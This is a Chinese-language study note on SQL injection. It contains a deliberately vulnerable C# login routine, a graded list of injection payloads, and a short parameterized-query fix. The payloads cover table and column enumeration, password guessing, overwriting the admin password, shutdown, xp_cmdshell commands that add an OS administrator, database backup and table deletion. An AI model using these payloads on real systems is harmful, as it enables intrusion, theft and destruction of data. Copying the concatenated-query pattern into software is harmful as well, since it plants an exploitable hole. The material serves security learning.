SQL注入 攻击方式学习之SQL注入(SQL Injection)

private void Login()
{
string uname = tbName.Text;
string pwd = tbPassword.Text;
string sqlCmd = "select * from [Users] where UserName = '" + uname + "'";
string sqlCmdRep = sqlCmd.Replace("Users", "XXX").Replace("UserName", "XXX");
lbSQL.Text = sqlCmdRep;
try
{
DataTable dt = DataSQLServer.GetDataTable(sqlCmd);
gvResult.DataSource = dt;
gvResult.DataBind();
if (dt.Rows.Count == 1 && pwd == dt.Rows[0]["Password"].ToString())
{
lbRes.Text = dt.Rows[0]["UserName"] + " Login Success!";
}
else if(dt.Rows.Count == 0)
{
lbRes.Text = uname + " not exist!";
}
else
{
lbRes.Text = "Login Fail!";
}
}
catch (Exception ex)
{
lbRes.Text = "Error: " + ex.Message;
}
}

1. 试探是否能够注入
'
2. 试探管理员用户名
XXX
3. 猜表名
admin'or 0>(select count(*) from [XXX]) --
更狠的方法直接取表名：
admin' and (Select Top 1 name from sysobjects where xtype='U')>0 --
4. 猜列名
admin'and 0< (select count(XXX) from [Users]) --
再来狠的取列名：
admin' and (Select top 1 col_name(object_id('Users'), 3) from [Users])>0 --
5. 猜密码长度
admin'and 1=(select count(*) from [Users] where len(Password)<XXX) --
6. 猜密码
admin'and 1=(select count(*) from [Users] where left(Password,2)='XX') --
----------------------------------------------------------------------------------------------
在探测出了表名和列表的时候，可以使用终极武器，直接修改admin的密码，或者做更加恶劣的破坏行为：
admin';update [Users] set Password='123' where UserName='admin' --
----------------------------------------------------------------------------------------------
其他恶劣行为：
1. 直接关闭偶的SQL服务
admin';shutdown --
2. 如果使用sa用户并可能遭受的攻击：在偶机器上添加用户，并加入某个组织：
admin';exec master..xp_cmdshell "net user name password /add" --
admin';exec master..xp_cmdshell "net localgroup name administrators /add" --
3. 直接备份数据库，然后下载下来，非常恶劣，建议不要对我使用。
admin';backup database Test to disk='d:"1.db'--
4. 直接删表，慎用啊
admin';drop table abc --
----------------------------------------------------------------------------------------------
其他经验总结：
1. 绕过单引号过滤
where xtype='U' ===> where xtype=char(85)
where name='用户' ===> where name=nchar(29992)+nchar(25143)
2. 取数据库名称
admin' and db_name()>0 --
----------------------------------------------------------------------------------------------

string sqlText = "select * from [Users] where UserName = @Name";
SqlParameter nameParm = new SqlParameter("Name", uname);
sqlCmd.CommandText = sqlText;
sqlCmd.Parameters.Add(nameParm);

string name = ...; //name from user
SqlConnection conn = new SqlConnection(...);
conn.Open();
string sqlString = @"exec sp_GetName '" + name + "'";
SqlCommand cmd = new SqlCommand(sqlString, conn);